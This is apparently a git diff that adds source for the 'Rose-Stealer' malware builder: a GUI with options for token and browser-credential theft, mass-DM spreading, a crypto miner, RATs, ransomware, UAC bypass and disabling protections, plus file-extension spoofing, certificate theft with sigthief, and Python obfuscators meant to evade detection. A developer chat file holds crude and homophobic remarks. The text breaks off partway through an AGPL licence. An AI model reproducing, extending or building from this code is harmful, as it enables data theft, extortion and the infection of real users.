f'{data_builder["build_name"]}.scr' if data_builder["type_file"] == "Screensaver (.scr)" else f'{data_builder["build_name"]}.exe' + + if data_builder["extension_spoofer"]: + try: + extension_added = executable_to_spoof[: len(executable_to_spoof) - 4] + extension[::-1] + executable_to_spoof[-4:] + + global spoofed + spoofed = extension_added[: len(extension_added) - 7] + spoofer + extension_added[-7:] + + with open(spoofed, "wb") as spoofed_executable: + with open(executable_to_spoof, "rb") as source_executable: + spoofed_executable.write(source_executable.read()) + + except Exception as e: + logger.error(f"Error in extension_spoofer: {e}") + + logger.info("Finished extension_spoofer") + + create_dir() + q.put_nowait(0.1) + get_files() + q.put_nowait(0.2) + edit_config() + q.put_nowait(0.3) + obfuscate() + q.put_nowait(0.4) + compile_python() + q.put_nowait(0.5) + cleanup() + q.put_nowait(0.6) + upx() + q.put_nowait(0.7) + pump_file() + q.put_nowait(0.8) + assign_extension() + q.put_nowait(0.9) + extension_spoofer() + q.put_nowait(1) + return "Done!" + + +def _home(): + with ui.dialog() as dialog, ui.card(): + ui.label(f"If the compilation process completed successfully, you should find the executable file within the designated folder. In case you encounter any issues, we kindly invite you to join our Discord community for further assistance.") + ui.button("Open Folder", on_click=lambda: os.startfile(os.getcwd())) + ui.button("Join Discord", on_click=lambda: webbrowser.open(links["rose_discord"])) + ui.button("Close", on_click=dialog.close) + + async def start_computation(): + progressbar.visible = True + loop = asyncio.get_running_loop() + result = await loop.run_in_executor(pool, _makebuild, queue, data_builder) + logger.info(result) + dialog.open() + progressbar.visible = False + + queue = Manager().Queue() + ui.timer(0.1, callback=lambda: progressbar.set_value(queue.get() if not queue.empty() else progressbar.value)) + + with ui.card(): + with ui.row(): + ui.input(label="Webhook URL", placeholder="Rose on top baby", on_change=lambda e: change_data("webhook_url", e.value)).props("inline color=pink-3").classes("w-full") + ui.input(label="Build name", placeholder="Rose on top baby", on_change=lambda e: change_data("build_name", e.value)).props("inline color=pink-3").classes("w-full") + ui.select(label="File type", options=["Executable (.exe)", "Screensaver (.scr)"], on_change=lambda e: change_data("type_file", e.value)).props("color=pink-3").classes("w-full") + ui.checkbox("Obfuscation", on_change=lambda e: change_data("obfuscation", e.value)).props("inline color=pink-3") + with ui.row(): + _pumper = ui.checkbox("Pump file", on_change=lambda e: change_data("file_pumper", e.value)).props("inline color=pink-3") + ui.input(label="Pump Size", placeholder="Size in MB", on_change=lambda e: change_data("file_pumper_size", e.value)).bind_visibility_from(_pumper, "value").props("inline color=pink-3") + with ui.row(): + _spoofer = ui.checkbox("Extension Spoofer", on_change=lambda e: change_data("extension_spoofer", e.value)).props("inline color=pink-3") + ui.input(label="Spoofed Extension", placeholder="xlsx, png etc.", on_change=lambda e: change_data("spoofed_extension", e.value)).bind_visibility_from(_spoofer, "value").props("inline color=pink-3") + + ui.button("Test Webhook", on_click=_test_webhook).props("icon=code color=purple-11").classes("w-full") + ui.button("Build", on_click=start_computation).props("icon=build color=pink-3").classes("w-full") + + progressbar = ui.linear_progress(value=0, show_value=False).props("instant-feedback rounded color=green-8 size=35px stripe") + progressbar.visible = False + + +def _features(): + with ui.card(): + with ui.row(): + ui.button("Knight RAT Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/KNIGHT.md")) + ui.button("Features Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/FEATURES.md")) + ui.button("Changelog Docs", on_click=lambda: webbrowser.open("https://github.com/rose-dll/Rose-Stealer/blob/main/docs/CHANGELOG.md")) + + with ui.expansion("System", icon="work").classes("w-full"): + with ui.row(): + with ui.column(): + ui.checkbox("Startup", on_change=lambda e: change_data("startup", e.value)).props("inline color=pink") + with ui.row(): + _inj = ui.checkbox("Injection", on_change=lambda e: change_data("injection", e.value)).props("inline color=pink") + + with ui.column(): + ui.checkbox("Fake Error", on_change=lambda e: change_data("fake_error", e.value)).props("inline color=pink") + ui.checkbox("Anti-VM", on_change=lambda e: change_data("antivm", e.value)).props("inline color=pink") + + with ui.expansion("Stealer", icon="work").classes("w-full"): + with ui.row(): + with ui.column(): + with ui.row(): + _token = ui.checkbox("Token", on_change=lambda e: change_data("token", e.value)).props("inline color=green") + _spread = ui.checkbox("Mass DM friends", on_change=lambda e: change_data("spread_malware", e.value)).bind_visibility_from(_token, "value").props("inline color=green") + ui.input(label="Message", placeholder="Rose on top baby", on_change=lambda e: change_data("spread_malware_message", e.value)).bind_visibility_from(_spread, "value").props("inline color=green") + + ui.checkbox("Browser Credentials", on_change=lambda e: change_data("browser", e.value)).props("inline color=green") + ui.checkbox("Games and Wallets", on_change=lambda e: change_data("games", e.value)).props("inline color=green") + ui.checkbox("Screenshot", on_change=lambda e: change_data("screenshot", e.value)).props("inline color=green") + ui.checkbox("Webcam", on_change=lambda e: change_data("webcam", e.value)).props("inline color=green") + + with ui.column(): + ui.checkbox("System Information", on_change=lambda e: change_data("deviceinf", e.value)).props("inline color=green") + ui.checkbox("IP & Wi-Fi Data", on_change=lambda e: change_data("ipinf", e.value)).props("inline color=green") + ui.checkbox("Roblox", on_change=lambda e: change_data("roblox", e.value)).props("inline color=green") + ui.checkbox("Ping", on_change=lambda e: change_data("ping", e.value)).props("inline color=green") + + with ui.expansion("Advanced", icon="work").classes("w-full"): + with ui.row(): + with ui.column(): + with ui.row(): + _miner = ui.checkbox("XMR Miner", on_change=lambda e: change_data("silent_crypto_miner", e.value)).props("inline color=yellow-7") + ui.input(label="XMR Wallet Address", placeholder="Wallet Address", on_change=lambda e: change_data("wallet_adress", e.value)).bind_visibility_from(_miner, "value").props("inline color=yellow-7") + with ui.row(): + _rose_rat = ui.checkbox("Rose-RAT", on_change=lambda e: change_data("rose_rat", e.value)).props("inline color=yellow-7") + ui.input(label="Rose-RAT Server URL", placeholder="Rose on top baby", on_change=lambda e: change_data("rose_rat_url", e.value)).bind_visibility_from(_rose_rat, "value").props("inline color=yellow-7") + with ui.row(): + _knight_rat = ui.checkbox("Knight-RAT", on_change=lambda e: change_data("knight_rat", e.value)).props("inline color=yellow-7") + ui.input(label="Knight-RAT Bot Token", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_bot_token", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7") + ui.input(label="Knight-RAT Channel ID", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_channel_id", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7") + ui.input(label="Knight-RAT Command Prefix", placeholder="Knight on top baby", on_change=lambda e: change_data("knight_prefix", e.value)).bind_visibility_from(_knight_rat, "value").props("inline color=yellow-7") + + with ui.row(): + _ransom = ui.checkbox("Rose Ransomware", on_change=lambda e: change_data("ransomware", e.value)).props("inline color=yellow-7") + ui.input(label="XMR Wallet adress", placeholder="Rose On Top baby!!!", on_change=lambda e: change_data("ransomware_monero_wallet_adress", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7") + ui.input(label="Webhook URL", placeholder="Rose On Top baby!!!", on_change=lambda e: change_data("ransomware_discord_webhook_url", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7") + ui.input(label="Email adress", placeholder="Email adress here", on_change=lambda e: change_data("ransomware_email_adress", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7") + ui.input(label="Amount of money", placeholder="Amount of money the victim has to pay. (in USD)", on_change=lambda e: change_data("ransomware_amount_of_money", e.value)).bind_visibility_from(_ransom, "value").props("inline color=yellow-7") + + with ui.column(): + ui.checkbox("Self-Deletion", on_change=lambda e: change_data("rose_melt_stub", e.value)).props("inline color=yellow-7") + ui.checkbox("Trigger BSOD", on_change=lambda e: change_data("tbsod", e.value)).props("inline color=yellow-7") + + with ui.row(): + _uac = ui.checkbox("UAC Bypass", on_change=lambda e: change_data("uac_bypass", e.value)).props("inline color=yellow-7") + ui.checkbox("Disable Protectors", on_change=lambda e: change_data("disableprot", e.value)).bind_visibility_from(_uac, "value").props("inline color=yellow-7") + ui.checkbox("Block Sites", on_change=lambda e: change_data("bsites", e.value)).bind_visibility_from(_uac, "value").props("inline color=yellow-7") + + +def _github(): + with ui.card(): + with ui.row(): + ui.button("Open Rose Log", on_click=lambda: os.startfile(os.path.join(os.getcwd(), "roselog.log"))) + ui.button("Open Rose Compile Log (.py)", on_click=lambda: os.startfile(os.path.join(os.getcwd(), "rosecompile.log"))) + + with ui.column(): + ui.markdown(f"Message from {__devmsg__[0]}: {__devmsg__[1]}") + with ui.row(): + with ui.card_section(): + ui.label("xpierroz").classes("text-h6") + ui.markdown('- "GUMBO MAKE A FUCKING PR"').classes("text-subtitle5") + with ui.row(): + # ui.label(" ") # Because the button are so sticked together without (sex button) - xpierroz 03/24 + ui.button(on_click=lambda: open_link("xpierroz_github")).props("round icon=code color=blue-11") + ui.button(on_click=lambda: open_link("xpierroz_insta")).props("round icon=star_rate color=amber-8") + + with ui.card_section(): + ui.label("gumbobr0t").classes("text-h6") + ui.markdown('- "buddy it\'s not my fault"').classes("text-subtitle5") + ui.button(on_click=lambda: open_link("gumbobr0t_github")).props("round icon=code color=blue-11") + + with ui.row(): + with ui.card_section(): + ui.label("suegdu").classes("text-h6") + ui.markdown('- "bruh"').classes("text-subtitle5") + ui.button(on_click=lambda: open_link("suegdu_github")).props("round icon=code color=blue-11") + + with ui.card_section(): + ui.label("svn").classes("text-h6") + ui.markdown("*svn died*").classes("text-subtitle5") + ui.button(on_click=lambda: open_link("svn_github")).props("round icon=code color=blue-11") + + with ui.card_section(): + ui.label("smth.py").classes("text-h6") + ui.markdown("- Nothing.").classes("text-subtitle5") + ui.button(on_click=lambda: open_link("smth_github")).props("round icon=code color=blue-11") + + with ui.card(): + with ui.card_section(): + with ui.row(): + ui.label(f"Rose {__version__}").classes("text-h6") + ui.button(on_click=lambda: open_link("rose_github")).props("round icon=code color=blue-11") + ui.button(on_click=lambda: open_link("rose_discord")).props("round icon=unsubscribe color=indigo-12") + + +ui.colors(primary="#333") + + +@ui.page("/home") +def superhome(): + ui.image("https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png").style("position: center; width: 90px; left: 220px;") + + global tabs + with ui.tabs().classes("w-full") as tabs: + ui.tab("Home", icon="home") + ui.tab("Features", icon="fingerprint") + ui.tab("Settings", icon="face") + + with ui.tab_panels(tabs, value="Home").classes("bg-transparent").classes("center"): + with ui.tab_panel("Home").classes("bg-transparent").classes("center"): + _home() + with ui.tab_panel("Features"): + _features() + with ui.tab_panel("Settings"): + _github() + + +v = ui.video("https://github.com/rose-dll/Rose-Stealer/raw/main/resources/assets/roseloadingscreen.mp4", autoplay=True, loop=False, muted=True, controls=False).style("position: absolute; top: 0; left: 0; width: 100%; height: 100%; object-fit: cover;") +v.on("ended", lambda _: ui.open("/home")) +app.on_shutdown(pool.shutdown) + + +def start_nicegui(**kwargs): + ui.run(title=__title__, **kwargs) + + +if __name__ in {"__main__", "__mp_main__"}: + auto_update() + ui.run(native=True, dark=True, reload=False, show=False, port=2009, window_size=(600, 660), title=__title__) diff --git a/Rose-Stealerv1/resources/ui/msg.txt b/Rose-Stealerv1/resources/ui/msg.txt new file mode 100644 index 0000000..a3106ad --- /dev/null +++ b/Rose-Stealerv1/resources/ui/msg.txt @@ -0,0 +1,5 @@ +gumbobr0t - dang i love boobs +xpierroz - GUMBO MAKE A FUCKING PR +xpierroz - releasing soon +xpierroz - fuck lgbtq +gumbobr0t - BUDDY ITS NOT MY FAULT diff --git a/Rose-Stealerv1/resources/utils/comp/cert b/Rose-Stealerv1/resources/utils/comp/cert new file mode 100644 index 0000000..f1d284e Binary files /dev/null and b/Rose-Stealerv1/resources/utils/comp/cert differ diff --git a/Rose-Stealerv1/resources/utils/comp/post.py b/Rose-Stealerv1/resources/utils/comp/post.py new file mode 100644 index 0000000..b39cab3 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/comp/post.py @@ -0,0 +1,41 @@ +import os +from sigthief import signfile + +def RemoveMetaData(path: str): + print("Removing MetaData") + with open(path, "rb") as file: + data = file.read() + + data = data.replace(b"PyInstaller:", b"PyInstallem:") + data = data.replace(b"pyi-runtime-tmpdir", b"bye-runtime-tmpdir") + data = data.replace(b"pyi-windows-manifest-filename", b"bye-windows-manifest-filename") + + with open(path, "wb") as file: + file.write(data) + +def AddCertificate(path: str): + print("Adding Certificate") + certFile = "resources/utils/comp/cert" + if os.path.isfile(certFile): + signfile(path, certFile, path) + +def RenameEntryPoint(path: str, entryPoint: str): + print("Renaming Entry Point") + with open(path, "rb") as file: + data = file.read() + + entryPoint = entryPoint.encode() + new_entryPoint = b'\x00' + os.urandom(len(entryPoint) - 1) + data = data.replace(entryPoint, new_entryPoint) + + with open(path, "wb") as file: + file.write(data) + +if __name__ == "__main__": + builtFile = os.path.join("dist", "Built.exe") + if os.path.isfile(builtFile): + RemoveMetaData(builtFile) + AddCertificate(builtFile) + RenameEntryPoint(builtFile, "rose") + else: + print("Not Found") \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/comp/sigthief.py b/Rose-Stealerv1/resources/utils/comp/sigthief.py new file mode 100644 index 0000000..8183f58 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/comp/sigthief.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +# LICENSE: BSD-3 +# Copyright: Josh Pitts @midnite_runr + +import sys +import struct +import shutil +import io +import os +from optparse import OptionParser + + +def gather_file_info_win(binary): + """ + Borrowed from BDF... + I could just skip to certLOC... *shrug* + """ + flItms = {} + binary = open(binary, 'rb') + binary.seek(int('3C', 16)) + flItms['buffer'] = 0 + flItms['JMPtoCodeAddress'] = 0 + flItms['dis_frm_pehdrs_sectble'] = 248 + flItms['pe_header_location'] = struct.unpack('", "exec")) + + def encrypt1(self): + code = base64.b64encode(self.code).decode() + partlen = int(len(code)/4) + code = wrap(code, partlen) + var1 = self.generate("a") + var2 = self.generate("b") + var3 = self.generate("c") + var4 = self.generate("d") + init = [f'{var1}="{codecs.encode(code[0], "rot13")}"', f'{var2}="{code[1]}"', f'{var3}="{code[2][::-1]}"', f'{var4}="{code[3]}"'] + + random.shuffle(init) + init = ";".join(init) + self.code = f''' +# Obfuscated using https://github.com/Blank-c/BlankOBF + +{init};__import__({self.encryptstring("builtins")}).exec(__import__({self.encryptstring("marshal")}).loads(__import__({self.encryptstring("base64")}).b64decode(__import__({self.encryptstring("codecs")}).decode({var1}, __import__({self.encryptstring("base64")}).b64decode("{base64.b64encode(b'rot13').decode()}").decode())+{var2}+{var3}[::-1]+{var4}))) +'''.strip().encode() + + def encrypt2(self): + self.compress() + var1 = self.generate("e") + var2 = self.generate("f") + var3 = self.generate("g") + var4 = self.generate("h") + var5 = self.generate("i") + var6 = self.generate("j") + var7 = self.generate("k") + var8 = self.generate("l") + var9 = self.generate("m") + + conf = { + "getattr" : var4, + "eval" : var3, + "__import__" : var8, + "bytes" : var9 + } + encryptstring = self.encryptor(conf) + + self.code = f'''# Obfuscated using https://github.com/Blank-c/BlankOBF + +{var3} = eval({self.encryptstring("eval")});{var4} = {var3}({self.encryptstring("getattr")});{var8} = {var3}({self.encryptstring("__import__")});{var9} = {var3}({self.encryptstring("bytes")});{var5} = lambda {var7}: {var3}({encryptstring("compile")})({var7}, {encryptstring("")}, {encryptstring("exec")});{var1} = {self.code} +{var2} = {encryptstring('__import__("builtins").list', func= True)}({var1}) +try: + {encryptstring('__import__("builtins").exec', func= True)}({var5}({encryptstring('__import__("lzma").decompress', func= True)}({var9}({var2})))) or {encryptstring('__import__("os")._exit', func= True)}(0) +except {encryptstring('__import__("lzma").LZMAError', func= True)}:... +'''.strip().encode() + + def encrypt3(self): + self.compress() + data = base64.b64encode(self.code) + self.code = f'# Obfuscated using https://github.com/Blank-c/BlankOBF\n\nimport base64, lzma; exec(compile(lzma.decompress(base64.b64decode({data})), "", "exec"))'.encode() + + def finalize(self): + if os.path.dirname(self.outpath).strip() != "": + os.makedirs(os.path.dirname(self.outpath), exist_ok= True) + with open(self.outpath, "w") as e: + e.write(self.code.decode()) + print("Saved as --> " + os.path.realpath(self.outpath)) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(prog= sys.argv[0], description= "Obfuscates python program to make it harder to read") + parser.add_argument("FILE", help= "Path to the file containing the python code") + parser.add_argument("-o", type= str, help= 'Output file path [Default: "Obfuscated_.py"]', dest= "path") + args = parser.parse_args() + + if not os.path.isfile(sourcefile := args.FILE): + printerr(f'No such file: "{args.FILE}"') + os._exit(1) + elif not sourcefile.endswith((".py", ".pyw")): + printerr('The file does not have a valid python script extention!') + os._exit(1) + + if args.path is None: + args.path = "Obfuscated_" + os.path.basename(sourcefile) + + with open(sourcefile, encoding='utf-8') as sourcefile: + code = sourcefile.read() + + BlankOBF(code, args.path) \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/obfuscation/obf.py b/Rose-Stealerv1/resources/utils/obfuscation/obf.py new file mode 100644 index 0000000..4607364 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/obf.py @@ -0,0 +1,207 @@ +import ast +import random +import string +import os +import re +import argparse +import logging +import colorlog +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +from base64 import urlsafe_b64encode, urlsafe_b64decode + +log_format = "%(asctime)s [%(levelname)s] [%(module)s.%(funcName)s] %(message)s" +handler = colorlog.StreamHandler() +handler.setFormatter(colorlog.ColoredFormatter(log_format)) +handler.setLevel(logging.INFO) +file_handler = logging.FileHandler('rose-obf.log', encoding='utf-8') +file_handler.setLevel(logging.DEBUG) +file_formatter = logging.Formatter(log_format) +file_handler.setFormatter(file_formatter) +root_logger = logging.getLogger() +root_logger.addHandler(handler) +root_logger.addHandler(file_handler) +root_logger.setLevel(logging.DEBUG) + +def generate_key(length=16): + characters = string.ascii_letters + string.punctuation + key = ''.join(random.choice(characters) for _ in range(length)) + return key + +def generate_random_string(length): + characters = string.ascii_uppercase + string.digits + return ''.join(random.choice(characters) for _ in range(length)) + +def getCustom(): + choice = random.choice([1, 2, 3]) + + if choice == 1: + return generate_pattern1() + elif choice == 2: + return generate_pattern2() + elif choice == 3: + return generate_pattern3() + +def generate_pattern1(): + return "__" + ''.join(random.choice("O0") for _ in range(10)) + +def generate_pattern2(): + return "__" + ''.join(random.choice("0123456789") for _ in range(10)) + "__" + +def generate_pattern3(): + return ''.join(random.choice("Il") for _ in range(15)) + 'I' + +def encryptData(text, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + encryptor = cipher.encryptor() + + padder = padding.PKCS7(128).padder() + padded_data = padder.update(text.encode()) + padder.finalize() + + ciphertext = encryptor.update(padded_data) + encryptor.finalize() + return urlsafe_b64encode(ciphertext).decode() + +def decryptData(ciphertext, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + decryptor = cipher.decryptor() + + decrypted_data = decryptor.update(urlsafe_b64decode(ciphertext)) + decryptor.finalize() + + unpadder = padding.PKCS7(128).unpadder() + unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() + + return unpadded_data.decode() + +def process_node(node, name_dict): + if isinstance(node, ast.Name) and node.id in name_dict: + node.id = name_dict[node.id] + +def obfuscate_code(input_file, output_file): + with open(input_file, 'r', encoding='utf-8', errors='ignore') as f: + content = f.read() + + content = re.sub(r'\n\s*\n', '\n', content) + + tree = ast.parse(content) + + name_dict = {} + + root_logger.info('Renaming Classes, Functions, Arguments, Keyword Arguments and Variables...') + for node in ast.walk(tree): + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + old_name = node.name + new_name = getCustom() + root_logger.debug(f'Function Name: {old_name} ---> New Function Name: {new_name}') + name_dict[old_name] = new_name + node.name = new_name + + for arg in node.args.args: + old_arg_name = arg.arg + new_arg_name = getCustom() + root_logger.debug(f'Argument Name: {old_arg_name} ---> New Argument Name: {new_arg_name}') + name_dict[old_arg_name] = new_arg_name + arg.arg = new_arg_name + + for keyword in node.args.kwonlyargs: + old_kwarg_name = keyword.arg + new_kwarg_name = getCustom() + root_logger.debug(f'Keyword Argument Name: {old_kwarg_name} ---> New Keyword Argument Name: {new_kwarg_name}') + name_dict[old_kwarg_name] = new_kwarg_name + keyword.arg = new_kwarg_name + + elif isinstance(node, ast.ClassDef): + old_name = node.name + new_name = getCustom() + root_logger.debug(f'Class Name: {old_name} ---> New Class Name: {new_name}') + name_dict[old_name] = new_name + node.name = new_name + + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, ast.Name): + old_var_name = target.id + new_var_name = getCustom() + root_logger.debug(f'Variable Name: {old_var_name} ---> New Variable Name: {new_var_name}') + name_dict[old_var_name] = new_var_name + target.id = new_var_name + + process_node(node, name_dict) + root_logger.info('Renaming of classes, functions, arguments, keyword arguments and variables done.') + + return ast.unparse(tree) + +key = [ord(char) for char in generate_key()] +#key = getKey() +decryptionFun = getCustom() +ciphertextParam = getCustom() +keyVar = getCustom() +cipherVar = getCustom() +decryptorVar = getCustom() +decrypted_textVar = getCustom() +unpadderVar = getCustom() +unpadded_dataVar = getCustom() + +def replace_string(match): + s = match.group(1) + encrypted_string = encryptData(s, bytes(key)) + encrypted_string = encrypted_string.replace("'", r"\'") + chr_format = "+".join([f"chr({ord(char)})" for char in repr(encrypted_string)]) + b_format = [ord(char) for char in chr_format] + decrypted_string = decryptData(encrypted_string, bytes(key)) + root_logger.debug(f'String: {s} ---> Encrypted String: {encrypted_string} ---> Char Encrypted String: {chr_format} ---> Bytes Encrypted String: {b_format} ---> Aes Decrypted String: {decrypted_string}') + #return f'{decryptionFun}({repr(encrypted_string)})[1:-1]' + #randomizer = random.choice([f'{decryptionFun}(bytes({b_format}))[1:-1]', f'{decryptionFun}({chr_format})[1:-1]']) + #return randomizer + return f'{decryptionFun}({chr_format})[1:-1]' + #return f'{decryptionFun}(bytes({b_format}))' + +def obfuscate_strings(content): + root_logger.info('Encrypting strings...') + data = re.sub(r'(\'[^\']*\'|\"[^\"]*\")', replace_string, content) + root_logger.info('Encryption of strings done.') + return data + +def main(input_file, output_file): + root_logger.debug('Entered main function.') + content = obfuscate_code(input_file, output_file) + + with open(output_file, 'w') as f: + f.write(''.join([ + 'from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n', + 'from cryptography.hazmat.primitives import padding\n', + 'from cryptography.hazmat.backends import default_backend\n', + 'from base64 import urlsafe_b64decode\n', + f'def {decryptionFun}({ciphertextParam}):\n', + f' {keyVar}=bytes({key})\n' + f' {cipherVar}=Cipher(algorithms.AES({keyVar}),modes.ECB(),backend=default_backend())\n', + f' {decryptorVar}={cipherVar}.decryptor()\n', + f' {decrypted_textVar}={decryptorVar}.update(urlsafe_b64decode({ciphertextParam}))+{decryptorVar}.finalize()\n', + #f' return {decrypted_textVar}.rstrip().decode()\n\n', + f' {unpadderVar} = padding.PKCS7(128).unpadder()\n', + f' {unpadded_dataVar} = {unpadderVar}.update({decrypted_textVar}) + {unpadderVar}.finalize()\n', + f' return {unpadded_dataVar}.decode()\n\n', + obfuscate_strings(content) + ])) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Obfuscate Python code efficiently with Rose-obf.') + parser.add_argument('-i', '--input', help='Input file name (required, .py)', dest='in_file', metavar='', required=True) + parser.add_argument('-o', '--output', help='Output file name', dest='out_file', metavar='', required=False) + args = parser.parse_args() + + input_file = args.in_file + output_file = os.path.join(os.getcwd(), f"obf-{generate_random_string(10)}.py") if args.out_file is None else args.out_file + + if input_file.endswith('.py'): + try: + root_logger.info(f'{input_file} ---> {output_file}...') + root_logger.debug('Entering main function.') + main(input_file, output_file) + root_logger.info(f'Done. {input_file} ---> {output_file}') + except Exception as e: + root_logger.error(f'Error: {e}') + else: + root_logger.error('Invalid Python file entered. Please make sure the file has a .py extension.') + \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/LICENSE b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/LICENSE new file mode 100644 index 0000000..f411c25 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/LICENSE @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no 